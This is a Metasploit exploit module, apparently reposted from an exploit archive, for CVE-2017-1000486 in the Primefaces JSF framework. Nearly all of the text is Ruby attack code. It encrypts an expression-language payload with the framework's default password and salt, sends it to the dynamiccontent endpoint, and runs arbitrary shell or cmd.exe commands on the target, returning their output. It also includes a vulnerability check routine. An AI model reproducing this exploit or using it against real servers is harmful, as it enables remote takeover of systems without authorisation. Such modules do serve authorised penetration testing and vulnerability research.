Primefaces 5.x Remote Code Execution

This Metasploit module exploits an expression language remote code execution flaw in the Primefaces JSF framework. Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto and default encryption password and salt.


MD5 | a290d8a9cb6552111c22dc331da1c4dc

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2017-1000486 Primefaces Remote Code Execution Exploit',
'Description' => %q{
This module exploits an expression language remote code execution flaw in the Primefaces JSF framework.
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto and default encryption password and salt.
},
'Author' => [ 'Bjoern Schuette' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', 'CVE-2017-1000486'],
['URL', 'http://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
['URL', 'https://cryptosense.com/weak-encryption-flaw-in-primefaces/'],
['URL', 'http://schuette.se/2018/01/16/in-your-primeface/']
],
'Privileged' => true,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd'
}

},
'DefaultOptions' =>
{
'WfsDelay' => 30
},
'DisclosureDate' => 'Feb 15 2016',
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
'Arch' => ARCH_CMD,
'Targets' => [
[
'Universal', {
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
'Arch' => [ ARCH_CMD ],
},
],
],
'DefaultTarget' => 0))

register_options([
Opt::RPORT(80),
OptString.new('PASSWORD', [ true , "The password to login", 'primefaces']),
OptString.new('TARGETURI', [true, 'The base path to primefaces', '/javax.faces.resource/dynamiccontent.properties.xhtml']) ,
OptString.new('CMD', [ false , "Command to execute", '']),
])
end

def encrypt_el(password, payload)

salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
iterationCount = 19

cipher = OpenSSL::Cipher.new("DES")
cipher.encrypt
cipher.pkcs5_keyivgen password, salt, iterationCount

ciphertext = cipher.update payload
ciphertext << cipher.final
return ciphertext

end

def http_send_command(cmd, payloadEL)
uri = normalize_uri(target_uri.path)
encrypted_payload = encrypt_el(datastore['PASSWORD'], payloadEL)
encrypted_payload_base64 = Rex::Text.encode_base64(encrypted_payload)
encrypted_payload_base64_url_encoded = Rex::Text.uri_encode(encrypted_payload_base64)

# send the payload and execute command
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'pfdrt' => 'sc',
'ln' => 'primefaces',
'pfdrid' => encrypted_payload_base64_url_encoded
}
})

if res.nil?
vprint_error("Connection timed out")
fail_with(Failure::Unknown, "Failed to trigger the Enter button")
end

if res && res.headers && (res.code == 302 || res.code == 200)
print_good("HTTP return code #{res.code}")
else
vprint_error(res.body)
fail_with(Failure::Unknown, "#{peer} - Unknown error during execution")
end
return res
end

def exploit
cmd=""
if not datastore['CMD'].empty?
cmd = datastore['CMD']
else
cmd = payload.encoded
end
payloadEL = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
payloadEL << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
payloadEL << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
payloadEL << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
payloadEL << '${session.getAttribute("scriptengine").eval('
payloadEL << '"var os = java.lang.System.getProperty(\"os.name\");'
payloadEL << 'var proc = null;'
payloadEL << 'os.toLowerCase().contains(\"win\")? '
payloadEL << 'proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/C\",\"%s\"]).start()' % cmd
payloadEL << ' : proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"%s\"]).start();' % cmd
payloadEL << 'var is = proc.getInputStream();'
payloadEL << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
payloadEL << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
payloadEL << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
payloadEL << '${facesContext.getExternalContext().getResponse().getWriter().close()}';

vprint_status("Attempting to execute: #{cmd}")
resp = http_send_command(cmd, payloadEL)
print_line(resp.body.to_s)
m = resp.body.to_s
if m.empty?
print_error("This server may not be vulnerable")
end
return
end

def check
var_a = rand_text_alpha_lower(4)
payloadEL = "${facesContext.getExternalContext().setResponseHeader(\"primesecretchk\", %s" % var_a
res = http_send_command(var_a, payloadEL)
if res.headers
if res.headers["primesecretchk"] == #{var_a}
vprint_good("Victim evaluates EL expressions")
return Exploit::CheckCode::Vulnerable
end
else
vprint_error("Unable to determine due to a HTTP connection timeout")
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end

end


Related Posts